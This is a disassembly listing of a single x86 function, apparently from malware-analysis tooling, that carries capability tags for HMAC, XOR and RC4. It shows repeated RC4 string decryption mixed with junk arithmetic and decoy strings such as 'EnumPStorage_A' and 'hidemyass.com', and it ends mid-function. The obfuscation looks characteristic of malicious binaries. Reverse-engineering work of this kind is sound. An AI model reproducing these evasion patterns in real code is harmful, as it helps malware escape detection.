Function at 0x1002641e
Capabilities:
Authenticate hmac
Encode data using xor
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x458
mov eax, dword [0x10041318]
push esi
and eax, 0xc9139de1
mov dword [ebp - 0x40], edx
push edi
mov dword [ebp - 0x80], ecx
mov dword [0x10041234], eax
call fcn.1002499f
xor esi, esi
call fcn.1002553e
mov eax, dword [0x10041234]
add eax, 0xfd5b7fa3
inc esi
mov dword [0x10041318], eax
cmp byte [esi + str.washingtondc], 0
jne 0x10026445
cmp esi, 0x1269
jbe 0x1002647c
and eax, 0x5cec57d6
mov dword [0x10041284], eax
call fcn.100257a9
jmp 0x10026490
imul eax, dword [0x1004130c], 0xbd3d645e
mov dword [0x10041234], eax
call fcn.10025948
and dword [ebp - 0x224], 0
xor esi, esi
call fcn.10025b18
xor dword [0x1004130c], 0x31b62b48
inc esi
cmp byte [esi + str.washingtondc], 0
jne 0x10026499
call fcn.100253d4
mov edi, dword [ebp - 0x40]
jmp 0x100264f7
mov edx, str.washingtondc
mov ecx, str.Your_Sesame_authentication_request_failed.
call fcn.10024c4b
cmp edi, 0x14e5
jne 0x100264e7
mov eax, dword [0x10041318]
xor eax, 0xf0c0739
mov dword [0x10041284], eax
call fcn.1002553e
mov eax, dword [0x10041234]
add eax, 0x882c3076
inc edi
mov dword [0x10041304], eax
cmp edi, esi
jb 0x100264bc
mov eax, dword [ebp - 0x224]
xor edx, edx
push 0xb
pop ecx
mov dword [ebp - 0xc4], 0x1bad
mov dword [ebp - 0xc0], 0x1d70
mov dword [ebp - 0xbc], 0x574
mov dword [ebp - 0xb8], edx
mov dword [ebp - 0xb4], edx
mov dword [ebp - 0xb0], 0x522
mov dword [ebp - 0xac], 0x18e5
mov dword [ebp - 0xa8], edx
mov dword [ebp - 0xa4], 0x26f
mov dword [ebp - 0xa0], edx
mov dword [ebp - 0x9c], 0xd48
mov dword [ebp - 0x70], ecx
cmp eax, 7
je 0x10026571
inc eax
cmp eax, ecx
jl 0x10026567
mov eax, dword [ebp + eax*4 - 0xc4]
lea edi, [ebp - 0xac]
push 0x1e
mov dword [ebp - 0x224], eax
mov esi, str.sWindows_bitmap_file
pop eax
mov dword [ebp - 0x84], eax
mov byte [ebp - 8], al
push 0x1c
pop eax
push 5
pop ecx
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [0x10041284]
mov byte [ebp - 7], al
mov word [ebp - 6], 0x8c5e
movsb byte es:[edi], byte [esi]
lea eax, [ecx - 0x71f81ef4]
mov esi, edx
mov dword [0x10041318], eax
lea eax, [ecx - 0x26171147]
mov dword [0x1004130c], eax
mov eax, edx
mov byte [ebp + eax - 0x21c], al
inc eax
cmp eax, 0x100
jb 0x100265c7
mov ecx, edx
mov dword [ebp - 0x4c], 0x14
mov dword [ebp - 0x24], ecx
mov al, byte [ebp + ecx - 0x21c]
lea edi, [ebp - 0x38]
mov byte [ebp - 1], al
xor edx, edx
mov eax, ecx
push 0x14
pop ecx
div ecx
movzx ecx, byte [ebp - 1]
movzx eax, byte [ebp + edx - 0xac]
add eax, esi
mov esi, str.dropbox.com
add ecx, eax
movzx eax, cl
xor ecx, ecx
mov dword [ebp - 0x48], eax
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x50], ecx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
cmp byte [ebp - 0x38], 0x77
jne 0x1002664b
mov al, 0x77
test al, al
je 0x1002664b
cmp byte [ebp + ecx - 0x38], 0
je 0x1002664b
mov ecx, str.wxART_HELP_BOOK
call fcn.10024576
mov ecx, dword [ebp - 0x50]
inc ecx
mov dword [ebp - 0x50], ecx
mov al, byte [ecx + str.wxART_HELP_BOOK]
cmp al, byte [ebp + ecx - 0x38]
je 0x10026623
movzx eax, byte [ebp + ecx - 0x38]
movzx esi, byte [ecx + str.wxART_HELP_BOOK]
sub esi, eax
call fcn.1002499f
cmp esi, 0xb14
jne 0x1002667c
mov eax, dword [0x10041304]
add eax, 0x394d112d
mov dword [0x1004130c], eax
call fcn.1002529d
jmp 0x1002668b
mov eax, dword [0x1004130c]
and eax, 0x7d42b9a2
mov dword [0x10041284], eax
mov esi, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x24]
mov al, byte [ebp + esi - 0x21c]
mov byte [ebp + ecx - 0x21c], al
inc ecx
mov al, byte [ebp - 1]
mov byte [ebp + esi - 0x21c], al
mov dword [ebp - 0x24], ecx
cmp ecx, 0x100
jb 0x100265e2
mov eax, dword [0x10041304]
xor edi, edi
and dword [ebp - 0x94], 0
or eax, 0x51880f39
mov dword [0x1004130c], eax
xor esi, esi
lea eax, [edi + 1]
movzx edi, al
mov eax, dword [ebp - 0x94]
mov cl, byte [ebp + edi - 0x21c]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0x94], eax
mov al, byte [ebp + eax - 0x21c]
mov byte [ebp + edi - 0x21c], al
mov eax, dword [ebp - 0x94]
mov byte [ebp + eax - 0x21c], cl
movzx eax, byte [ebp + edi - 0x21c]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x21c]
xor al, byte [ebp + esi - 8]
mov byte [ebp + esi - 0x370], al
inc esi
cmp esi, 4
jb 0x100266d3
mov esi, str.020_0e0m0C1R11
mov word [ebp - 0xc], 0x904a
lea edi, [ebp - 0xec]
mov byte [ebp - 0xa], 0x46
xor eax, eax
mov byte [ebp - 0x36c], al
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x50], eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov ecx, dword [0x10041234]
mov edx, str.massa_carrara
call fcn.10025d8a
push 0xb
pop eax
mov ecx, eax
lea edi, [ebp - 0xc4]
mov esi, str.._AUITopologyExecutionResource_Concurrency__
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
cmp byte [ebp - 0xc4], 0x77
jne 0x100267c2
mov al, 0x77
xor esi, esi
test al, al
je 0x100267c2
cmp byte [ebp + esi - 0xc4], 0
je 0x100267c2
push dword [0x10041234]
mov edx, dword [0x10041304]
mov ecx, dword [0x10041318]
call fcn.100254bf
mov al, byte [esi + 0x1003ca41]
inc esi
pop ecx
cmp al, byte [ebp + esi - 0xc4]
je 0x1002678c
mov eax, dword [0x10041284]
mov esi, str.washingtondc
or eax, 0xb9223ab6
mov dword [0x10041318], eax
mov ecx, dword [0x1004130c]
mov edx, str.WinLoginLastApp_CreateLogin_:_Missing_winlogin_info_A__exiting
call fcn.10025d8a
imul eax, dword [0x10041318], 0xb2790a7d
inc esi
cmp byte [esi], 0
mov dword [0x10041304], eax
jne 0x100267d6
mov eax, dword [ebp - 0x50]
mov edi, 0x100
mov byte [ebp + eax - 0x21c], al
inc eax
mov dword [ebp - 0x50], eax
cmp eax, edi
jb 0x1002675c
push 0xf
pop ecx
xor esi, esi
mov dword [ebp - 0x48], ecx
mov dl, byte [ebp + esi - 0x21c]
mov eax, esi
and eax, ecx
movzx ecx, dl
push 0xf
movzx eax, byte [ebp + eax - 0xec]
add eax, dword [ebp - 0x24]
add ecx, eax
movzx ecx, cl
mov dword [ebp - 0x24], ecx
mov al, byte [ebp + ecx - 0x21c]
mov byte [ebp + esi - 0x21c], al
inc esi
mov byte [ebp + ecx - 0x21c], dl
pop ecx
cmp esi, edi
jb 0x1002681e
and dword [ebp - 0x94], 0
xor edi, edi
xor esi, esi
lea eax, [edi + 1]
movzx edi, al
mov eax, dword [ebp - 0x94]
mov cl, byte [ebp + edi - 0x21c]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0x94], eax
mov al, byte [ebp + eax - 0x21c]
mov byte [ebp + edi - 0x21c], al
mov eax, dword [ebp - 0x94]
mov byte [ebp + eax - 0x21c], cl
movzx eax, byte [ebp + edi - 0x21c]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x21c]
xor al, byte [ebp + esi - 0xc]
mov byte [ebp + esi - 0x288], al
inc esi
cmp esi, 3
jb 0x10026867
mov edx, dword [0x10041304]
lea edi, [ebp - 0xe8]
mov esi, str.soundandvision
mov byte [ebp - 0x285], 0
mov eax, edx
mov dword [ebp - 8], 0x714f1003
and eax, 0x4fc8c78c
mov dword [0x1004130c], eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
xor edi, edi
xor ecx, ecx
mov byte [ebp + ecx - 0x21c], cl
inc ecx
cmp ecx, 0x100
jb 0x100268fd
imul ecx, edx, 0x29d83c34
or eax, 0x3f9c372b
mov dword [0x10041318], eax
xor esi, esi
mov dword [ebp - 0x94], 0xe
mov dword [0x10041284], ecx
xor edx, edx
mov cl, byte [ebp + esi - 0x21c]
mov eax, esi
mov byte [ebp - 1], cl
div dword [ebp - 0x94]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0xe8]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x21c]
mov byte [ebp + esi - 0x21c], al
inc esi
mov al, byte [ebp - 1]
mov byte [ebp + edi - 0x21c], al
cmp esi, 0x100
jb 0x1002692f
xor eax, eax
xor edi, edi
and dword [ebp - 0x50], eax
inc eax
movzx esi, al
mov dword [ebp - 0x44], esi
mov cl, byte [ebp + esi - 0x21c]
movzx edx, cl
lea eax, [edi + edx]
movzx edi, al
mov dword [ebp - 0x14], edi
mov al, byte [ebp + edi - 0x21c]
mov byte [ebp + esi - 0x21c], al
mov byte [ebp + edi - 0x21c], cl
lea edi, [ebp - 0xec]
movzx eax, byte [ebp + esi - 0x21c]
mov esi, str.Install_LastPass
add eax, edx
xor edx, edx
movzx eax, al
movsd dword es:[edi], dword [esi]
mov al, byte [ebp + eax - 0x21c]
mov byte [ebp - 1], al
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
cmp byte [ebp - 0xec], 0x77
jne 0x100269fe
mov al, 0x77
test al, al
je 0x100269fe
cmp byte [ebp + edx - 0xec], 0
je 0x100269fe
mov al, byte [edx + 0x1003cf25]
inc edx
cmp al, byte [ebp + edx - 0xec]
je 0x100269e0
movzx eax, byte [ebp + edx - 0xec]
movzx esi, byte [edx + str.washingtondc]
mov edx, str.wxART_HELP_BOOK
mov ecx, dword [0x10041284]
sub esi, eax
call fcn.10025120
cmp esi, 0x1210
jbe 0x10026a3d
imul eax, dword [0x1004130c], 0xbde7002f
mov dword [0x10041304], eax
call fcn.10025f00
jmp 0x10026a4c
imul eax, dword [0x10041234], 0x7bc99243
mov dword [0x10041284], eax
call fcn.100257a9
imul eax, dword [0x1004130c], 0x363d72dd
xor esi, esi
mov dword [0x10041284], eax
call fcn.10025b89
mov eax, dword [0x10041234]
add eax, 0x8af1de59
inc esi
mov dword [0x10041304], eax
cmp byte [esi + str.wxART_HELP_BOOK], 0
jne 0x10026a62
mov edi, dword [ebp - 0x68]
cmp edi, esi
jae 0x10026abd
cmp edi, 0xa8b
jne 0x10026a9f
imul eax, eax, 0x39362346
mov dword [0x10041234], eax
call fcn.1002529d
or dword [0x10041318], 0xd0fee60e
call fcn.100257a9
inc edi
cmp edi, esi
jae 0x10026aba
mov eax, dword [0x10041304]
jmp 0x10026a87
mov dword [ebp - 0x68], edi
mov ecx, dword [ebp - 0x50]
mov al, byte [ebp + ecx - 8]
xor al, byte [ebp - 1]
mov byte [ebp + ecx - 0x340], al
inc ecx
mov dword [ebp - 0x50], ecx
cmp ecx, 4
jae 0x10026ae2
mov eax, dword [ebp - 0x44]
mov edi, dword [ebp - 0x14]
jmp 0x1002697d
call fcn.10025b18
xor edi, edi
cmp byte [0x100412b0], 0
je 0x10026b10
call fcn.1002529d
mov eax, dword [0x10041318]
add eax, 0x603788a6
inc edi
mov dword [0x10041284], eax
cmp byte [edi + 0x100412b0], 0
jne 0x10026af2
call fcn.1002563f
mov esi, dword [ebp - 0x40]
jmp 0x10026b46
call fcn.10024f01
cmp esi, 0x221d
jne 0x10026b3b
mov eax, dword [0x10041234]
add eax, 0x8830a1ab
mov dword [0x1004130c], eax
call fcn.100247de
and dword [0x10041284], 0x1a48cedd
inc esi
cmp esi, edi
jb 0x10026b1a
mov esi, str.WlanFreeMemory
mov byte [ebp - 0x33c], 0
lea edi, [ebp - 0xe8]
mov word [ebp - 0x38], 0x7b85
push 0x13
pop eax
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x50], eax
mov byte [ebp - 0x36], al
push 0x18
movsd dword es:[edi], dword [esi]
pop eax
mov dword [ebp - 0x64], eax
mov byte [ebp - 0x2e], al
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x35], 0xecffdbd7
mov word [ebp - 0x31], 0xd6b6
mov byte [ebp - 0x2f], 0xd2
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
xor edi, edi
xor eax, eax
mov byte [ebp + eax - 0x21c], al
inc eax
cmp eax, 0x100
jb 0x10026b8f
call fcn.1002620d
mov eax, dword [0x10041318]
xor esi, esi
imul eax, eax, 0xb3f85f34
inc esi
cmp byte [esi + str.Your_Sesame_authentication_request_failed.], 0
jne 0x10026baa
mov dword [0x10041318], eax
call fcn.1002529d
cmp esi, 0x1933
jae 0x10026be2
mov eax, dword [0x10041234]
or eax, 0xdfdbc7ae
mov dword [0x10041318], eax
call fcn.10025b89
jmp 0x10026bec
xor dword [0x10041284], 0xbed9a443
xor esi, esi
xor edx, edx
mov cl, byte [ebp + esi - 0x21c]
mov eax, esi
mov byte [ebp - 1], cl
div dword [ebp - 0x94]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0xe8]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x21c]
mov byte [ebp + esi - 0x21c], al
inc esi
mov al, byte [ebp - 1]
mov byte [ebp + edi - 0x21c], al
cmp esi, 0x100
jb 0x10026bee
mov esi, str.EnumPStorage_A
lea edi, [ebp - 0xe8]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
cmp byte [ebp - 0xe8], 0x77
jne 0x10026c76
mov al, 0x77
xor esi, esi
test al, al
je 0x10026c76
cmp byte [ebp + esi - 0xe8], 0
je 0x10026c76
call fcn.1002499f
mov al, byte [esi + 0x1003cf25]
inc esi
cmp al, byte [ebp + esi - 0xe8]
je 0x10026c53
xor ecx, ecx
xor edi, edi
and dword [ebp - 0x24], ecx
mov edx, dword [0x10041304]
lea eax, [edi + 1]
movzx eax, al
lea edi, [ebp - 0xe8]
mov dword [ebp - 0x68], eax
mov esi, str.202P2X2_2h2p2x2
mov al, byte [ebp + eax - 0x21c]
movsd dword es:[edi], dword [esi]
mov byte [ebp - 1], al
movzx eax, al
mov dword [ebp - 0x14], eax
add eax, ecx
movsd dword es:[edi], dword [esi]
xor ecx, ecx
movzx eax, al
mov dword [ebp - 8], eax
lea eax, [edx + 0x6d570ad0]
mov dword [0x10041318], eax
mov al, byte [0x100412b0]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
cmp al, byte [ebp - 0xe8]
jne 0x10026ceb
test al, al
je 0x10026ceb
cmp byte [ebp + ecx - 0xe8], 0
je 0x10026ceb
mov al, byte [ecx + 0x100412b1]
inc ecx
cmp al, byte [ebp + ecx - 0xe8]
je 0x10026ccd
movzx eax, byte [ebp + ecx - 0xe8]
movzx esi, byte [ecx + 0x100412b0]
sub esi, eax
mov eax, dword [0x10041234]
push eax
mov ecx, eax
call fcn.100254bf
pop ecx
cmp esi, 0x2289
jae 0x10026d28
imul eax, dword [0x1004130c], 0x3388cd
mov dword [0x10041234], eax
call fcn.100247de
jmp 0x10026d3c
mov eax, dword [0x10041304]
add eax, 0xae6b06c9
mov dword [0x10041318], eax
call fcn.10025b89
mov eax, dword [ebp - 8]
mov edi, dword [ebp - 0x68]
mov al, byte [ebp + eax - 0x21c]
mov byte [ebp + edi - 0x21c], al
mov eax, dword [0x10041284]
or eax, 0x7c9611fd
xor esi, esi
mov dword [0x10041304], eax
call fcn.1002563f
mov eax, dword [0x10041304]
add eax, 0xe8837715
inc esi
mov dword [0x10041284], eax
cmp byte [esi + str.wxART_HELP_BOOK], 0
jne 0x10026d61
call fcn.1002529d
mov ecx, dword [ebp - 0x44]
cmp ecx, esi
jae 0x10026db7
mov edx, dword [0x10041318]
imul eax, edx, 0x17b09248
mov dword [ebp - 0x18], eax
cmp ecx, 0x25e8
jne 0x10026dad
lea eax, [edx + 0x370d0cc1]
mov dword [0x10041284], eax
inc ecx
cmp ecx, esi
jb 0x10026d9a
mov dword [ebp - 0x44], ecx
jmp 0x10026dbf
mov eax, dword [0x10041234]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 8]
mov cl, byte [ebp - 1]
mov edx, dword [ebp - 0x18]
add edx, 0xe98530db
mov byte [ebp + eax - 0x21c], cl
mov eax, dword [0x10041304]
mov ecx, dword [ebp - 0x24]
add eax, 0x32201d5d
mov dword [0x10041234], eax
movzx eax, byte [ebp + edi - 0x21c]
add eax, dword [ebp - 0x14]
movzx eax, al
push 0xb
mov dword [0x1004130c], edx
mov al, byte [ebp + eax - 0x21c]
xor al, byte [ebp + ecx - 0x38]
mov byte [ebp + ecx - 0x408], al
inc ecx
pop eax
mov dword [ebp - 0x24], ecx
cmp ecx, eax
mov ecx, dword [ebp - 8]
jb 0x10026c7d
push 9
pop eax
mov ecx, eax
mov dword [ebp - 0x220], eax
mov esi, str.CreateWindow___in_wxCreateHiddenWindow
mov byte [ebp - 0x3fd], 0
lea edi, [ebp - 0xc0]
mov word [ebp - 0xc], 0xa978
rep movsd dword es:[edi], dword [esi]
mov eax, edx
mov byte [ebp - 0xa], 0xce
or eax, 0x3b08b4a0
mov dword [0x10041318], eax
xor eax, eax
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
inc eax
cmp byte [eax + str.washingtondc], 0
jne 0x10026e59
cmp eax, 0x15f9
jbe 0x10026e76
mov eax, dword [0x10041234]
add eax, 0x3da48833
jmp 0x10026e7c
lea eax, [edx + 0x5709ef71]
mov dword [0x10041304], eax
xor edi, edi
xor eax, eax
mov byte [ebp + eax - 0x21c], al
inc eax
cmp eax, 0x100
jb 0x10026e85
xor esi, esi
mov dword [ebp - 0x14], 0x26
xor edx, edx
mov cl, byte [ebp + esi - 0x21c]
mov eax, esi
mov byte [ebp - 1], cl
div dword [ebp - 0x14]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0xc0]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x21c]
mov byte [ebp + esi - 0x21c], al
inc esi
mov al, byte [ebp - 1]
mov byte [ebp + edi - 0x21c], al
cmp esi, 0x100
jb 0x10026e9d
and dword [ebp - 8], 0
xor edi, edi
xor esi, esi
lea eax, [edi + 1]
movzx edi, al
mov eax, dword [ebp - 8]
mov cl, byte [ebp + edi - 0x21c]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 8], eax
mov al, byte [ebp + eax - 0x21c]
mov byte [ebp + edi - 0x21c], al
mov eax, dword [ebp - 8]
mov byte [ebp + eax - 0x21c], cl
movzx eax, byte [ebp + edi - 0x21c]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x21c]
xor al, byte [ebp + esi - 0xc]
mov byte [ebp + esi - 0x28c], al
inc esi
cmp esi, 3
jb 0x10026ee9
mov eax, dword [ebp - 0x18]
lea edi, [ebp - 0xb4]
push 6
pop ecx
mov esi, str.abcdefghijklmnopqrstuvwxyz
mov byte [ebp - 0x289], 0
rep movsd dword es:[edi], dword [esi]
add eax, 0xe98530db
mov dword [ebp - 8], 0xf4d6c24d
and eax, 0x2fb23e9e
mov dword [0x10041234], eax
mov eax, dword [0x10041284]
movsw word es:[edi], word [esi]
add eax, 0xa1d761d5
mov dword [0x1004130c], eax
movsb byte es:[edi], byte [esi]
xor edi, edi
xor eax, eax
mov byte [ebp + eax - 0x21c], al
inc eax
cmp eax, 0x100
jb 0x10026f87
xor esi, esi
mov dword [ebp - 0x1c], 0x1a
xor edx, edx
mov cl, byte [ebp + esi - 0x21c]
mov eax, esi
mov byte [ebp - 1], cl
div dword [ebp - 0x1c]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0xb4]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x21c]
mov byte [ebp + esi - 0x21c], al
inc esi
mov al, byte [ebp - 1]
mov byte [ebp + edi - 0x21c], al
cmp esi, 0x100
jb 0x10026f9f
and dword [ebp - 0x18], 0
xor edi, edi
xor esi, esi
lea eax, [edi + 1]
movzx edi, al
mov eax, dword [ebp - 0x18]
mov cl, byte [ebp + edi - 0x21c]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0x18], eax
mov al, byte [ebp + eax - 0x21c]
mov byte [ebp + edi - 0x21c], al
mov eax, dword [ebp - 0x18]
mov byte [ebp + eax - 0x21c], cl
movzx eax, byte [ebp + edi - 0x21c]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x21c]
xor al, byte [ebp + esi - 8]
mov byte [ebp + esi - 0x380], al
inc esi
cmp esi, 4
jb 0x10026feb
mov esi, str.3B44n4s44
mov byte [ebp - 0x37c], 0
lea edi, [ebp - 0x38]
mov byte [ebp - 0xc], 0x91
push 9
pop eax
movsd dword es:[edi], dword [esi]
mov byte [ebp - 0xb], al
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
xor edi, edi
xor eax, eax
mov byte [ebp + eax - 0x21c], al
inc eax
cmp eax, 0x100
jb 0x10027063
xor esi, esi
xor edx, edx
mov cl, byte [ebp + esi - 0x21c]
mov eax, esi
mov byte [ebp - 1], cl
div dword [ebp - 0x70]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x38]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x21c]
mov byte [ebp + esi - 0x21c], al
inc esi
mov al, byte [ebp - 1]
mov byte [ebp + edi - 0x21c], al
cmp esi, 0x100
jb 0x10027074
and dword [ebp - 0x10], 0
xor esi, esi
and dword [ebp - 0x18], esi
lea eax, [esi + 1]
movzx eax, al
mov dword [ebp - 0x68], eax
call fcn.1002620d
mov eax, dword [0x10041304]
or eax, 0xa9e0f567
mov dword [0x10041318], eax
imul eax, dword [0x10041234], 0xa599053
mov dword [0x1004130c], eax
call fcn.100257a9
mov esi, str.watch_and_clock
lea edi, [ebp - 0xe8]
xor ecx, ecx
mov dword [ebp - 0x24], ecx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
cmp byte [ebp - 0xe8], 0x77
jne 0x10027137
mov al, 0x77
test al, al
je 0x10027137
cmp byte [ebp + ecx - 0xe8], 0
je 0x10027137
call fcn.10025948
mov ecx, dword [ebp - 0x24]
inc ecx
mov dword [ebp - 0x24], ecx
mov al, byte [ecx + str.washingtondc]
cmp al, byte [ebp + ecx - 0xe8]
je 0x1002710e
movzx eax, byte [ebp + ecx - 0xe8]
movzx esi, byte [ecx + str.washingtondc]
sub esi, eax
call fcn.10025f00
mov eax, dword [0x10041304]
cmp esi, 0x22aa
jne 0x10027161
or eax, 0xdad3bb37
jmp 0x10027166
and eax, 0xf8ad69d3
mov esi, dword [ebp - 0x68]
mov dword [0x10041234], eax
mov eax, dword [ebp - 0x10]
mov cl, byte [ebp + esi - 0x21c]
movzx edx, cl
add eax, edx
movzx edi, al
mov dword [ebp - 0x10], edi
mov al, byte [ebp + edi - 0x21c]
mov byte [ebp + esi - 0x21c], al
mov byte [ebp + edi - 0x21c], cl
movzx eax, byte [ebp + esi - 0x21c]
mov ecx, dword [ebp - 0x18]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x21c]
xor al, byte [ebp + ecx - 0xc]
mov byte [ebp + ecx - 0x23c], al
inc ecx
mov dword [ebp - 0x18], ecx
cmp ecx, 2
jb 0x100270be
push 0x15
pop eax
mov byte [ebp - 0x23a], 0
mov word [ebp - 0xc], 0xfa63
mov dword [ebp - 0x44], eax
mov byte [ebp - 0xa], al
call fcn.1002563f
mov esi, str.Your_Sesame_authentication_request_failed.
call fcn.10025b89
imul eax, dword [0x10041318], 0x612231c2
inc esi
cmp byte [esi], 0
mov dword [0x10041284], eax
jne 0x100271e7
mov eax, dword [0x10041234]
lea edi, [ebp - 0xb4]
push 6
pop ecx
mov esi, str.popup_inframe_lib_min.js
xor eax, 0x4b32c4e5
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x68], eax
mov dword [0x10041318], eax
add eax, 0x87ff4b23
mov dword [0x10041234], eax
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
xor edi, edi
xor eax, eax
mov byte [ebp + eax - 0x21c], al
inc eax
cmp eax, 0x100
jb 0x10027234
xor esi, esi
xor edx, edx
mov cl, byte [ebp + esi - 0x21c]
mov eax, esi
mov byte [ebp - 1], cl
div dword [ebp - 0x1c]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0xb4]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x21c]
mov byte [ebp + esi - 0x21c], al
inc esi
mov al, byte [ebp - 1]
mov byte [ebp + edi - 0x21c], al
cmp esi, 0x100
jb 0x10027245
mov ecx, dword [ebp - 0x68]
xor edi, edi
mov eax, dword [0x10041234]
xor esi, esi
and dword [ebp - 0x18], 0
add eax, 0x53a83d7c
mov dword [0x1004130c], eax
lea eax, [ecx + 0x21592b42]
mov dword [0x10041304], eax
lea eax, [ecx - 0x2d3a97da]
mov dword [0x10041284], eax
lea eax, [edi + 1]
movzx edi, al
mov eax, dword [ebp - 0x18]
mov cl, byte [ebp + edi - 0x21c]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0x18], eax
mov al, byte [ebp + eax - 0x21c]
mov byte [ebp + edi - 0x21c], al
mov eax, dword [ebp - 0x18]
mov byte [ebp + eax - 0x21c], cl
movzx eax, byte [ebp + edi - 0x21c]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x21c]
xor al, byte [ebp + esi - 0xc]
mov byte [ebp + esi - 0x290], al
inc esi
cmp esi, 3
jb 0x100272b9
mov esi, str.Sequence
mov byte [ebp - 0x28d], 0
lea edi, [ebp - 0x34]
mov dword [ebp - 8], 0x7d38ab5c
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
xor edi, edi
call fcn.100257a9
mov ecx, dword [0x10041304]
mov eax, ecx
or eax, 0xc7c334d7
inc edi
mov dword [0x10041318], eax
cmp byte [edi + str.wxART_HELP_BOOK], 0
jne 0x1002732c
mov esi, dword [ebp - 0x40]
cmp esi, edi
jae 0x10027390
mov ecx, dword [0x10041284]
call fcn.1002603d
mov ecx, dword [0x10041304]
cmp esi, 0x386
jne 0x10027379
add ecx, 0x5de57fdd
mov dword [0x10041304], ecx
imul edx, dword [0x10041234], 0xcd67e171
inc esi
mov dword [0x10041234], edx
cmp esi, edi
jb 0x10027354
jmp 0x10027396
mov edx, dword [0x10041234]
push dword [0x1004130c]
call fcn.100254bf
pop ecx
mov esi, str.wxART_HELP_BOOK
call fcn.100253d4
imul eax, dword [0x1004130c], 0xd5afec2e
inc esi
cmp byte [esi], 0
mov dword [0x1004130c], eax
jne 0x100273a7
mov eax, dword [0x10041304]
add eax, 0xff06771c
mov dword [0x10041318], eax
call fcn.1002620d
mov cl, byte [0x100412b0]
lea edi, [ebp - 0xe8]
mov esi, str.hidemyass.com
xor eax, eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
cmp cl, byte [ebp - 0xe8]
jne 0x1002745a
test cl, cl
je 0x10027413
cmp byte [ebp + eax - 0xe8], 0
je 0x10027413
mov cl, byte [eax + 0x100412b1]
inc eax
cmp cl, byte [ebp + eax - 0xe8]
je 0x100273f5
mov edi, dword [ebp - 0x40]
mov dword [ebp - 0x24], eax
cmp edi, eax
jae 0x1002745a
mov ecx, dword [0x1004130c]
mov esi, eax
mov edx, str.wxART_HELP_BOOK
call fcn.10025120
mov ecx, dword [0x1004130c]
cmp edi, 0x2255
jne 0x10027449
mov eax, ecx
or eax, 0x1e1d66ec
mov dword [0x10041234], eax
or ecx, 0x86645c97
inc edi
mov dword [0x1004130c], ecx
cmp edi, esi
jb 0x10027425
and dword [ebp - 0x68], 0
xor eax, eax
mov byte [ebp + eax - 0x21c], al
inc eax
cmp eax, 0x100
jb 0x10027460
mov ecx, str.washingtondc
call fcn.10024576
mov ecx, dword [0x1004130c]
mov eax, str.Your_Sesame_authentication_request_failed.
and ecx, 0x86a3128c
inc eax
cmp byte [eax], 0
jne 0x10027484
mov esi, dword [0x10041284]
xor esi, 0x11ed5a55
mov dword [0x1004130c], ecx
mov dword [ebp - 0x24], esi
xor edi, edi
mov dword [0x10041234], esi
mov esi, dword [ebp - 0x68]
mov dl, byte [ebp + edi - 0x21c]
mov eax, edi
and eax, 7
movzx ecx, dl
movzx eax, byte [ebp + eax - 0x34]
add eax, esi
add ecx, eax
movzx esi, cl
mov al, byte [ebp + esi - 0x21c]
mov byte [ebp + edi - 0x21c], al
inc edi
mov byte [ebp + esi - 0x21c], dl
cmp edi, 0x100
jb 0x100274b0
and dword [ebp - 0x68], 0
xor edi, edi
mov eax, dword [ebp - 0x24]
